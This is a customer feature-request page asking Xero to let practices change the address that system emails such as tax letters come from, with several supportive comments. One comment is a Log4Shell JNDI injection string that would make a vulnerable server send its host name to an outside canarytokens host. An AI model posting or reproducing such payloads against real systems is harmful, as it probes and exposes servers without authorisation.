Ability to change the email address that emails from Xero are sent from
XPM - need ability to change email address that system emails are sent from e.g Tax payment letters
We have been caught for Terminal Tax letters where gmail has either filed client terminal tax letters to Junk or rejected them completely and now clients have overdue tax payments. This has created a lot of unnessary work for the team, clients phoned etc and the clients are unhappy as they have received penalties and interest.
Kaye Francis
shared this idea
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akk soni
commented
${jndi:ldap://x${hostName}.L4J.8jfspy1cjw0uw2wfi16uhw8he.canarytokens.com/a}
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Jo Bailey
commented
This is really important for us as the generic email address the letters come from is often rejected by clients email servers. This is not the first time this has happened, however, this time around there has been significantly more clients affected resulting in more work for us phoning clients who have not paid.
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Arran Stone
commented
This is causing headaches and significant amount of downtime sorting out. Needs to be addressed ASAP